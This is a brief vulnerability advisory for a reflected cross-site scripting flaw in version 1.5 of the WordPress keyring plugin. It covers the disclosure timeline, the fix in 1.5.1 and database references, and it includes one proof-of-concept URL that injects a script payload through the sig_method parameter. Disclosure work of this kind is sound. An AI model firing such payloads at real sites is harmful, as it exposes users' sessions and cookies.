Plugin Details
Plugin Name: wp-plugin : keyring
Effected Version : 1.5 (and most probably lower version's if any)
Vulnerability : Cross-Site Scripting (XSS)
Minimum Level of Access Required : Unauthenticated
CVE Number :
Identified by : Anantshri
Disclosure Timeline
-
January 5, 2014: Vendor Contacted
- January 7, 2014 : Plugin Updated
- July 7, 2014 : Public Disclosure
Technical Details
http://localhost/wp-content/plugins/keyring/includes/oauth-php/example/index.php?sig_method=<script>alert(document.cookie)</script>
Vulnerable Parameter : sig_method
Type of XSS : Reflected
Fixed in : 1.5.1
Trac Changelog : https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=834526%40keyring&old=804079%40keyring&sfp_email=&sfph_mail=
This specific vulnerability is indeed a flaw in oauth sdk php sample code, multiple wordpress plugin were leveraging this same code and hence a parallel disclosure was made: The entry on OSVDB for the same is listed here : http://osvdb.org/show/osvdb/101897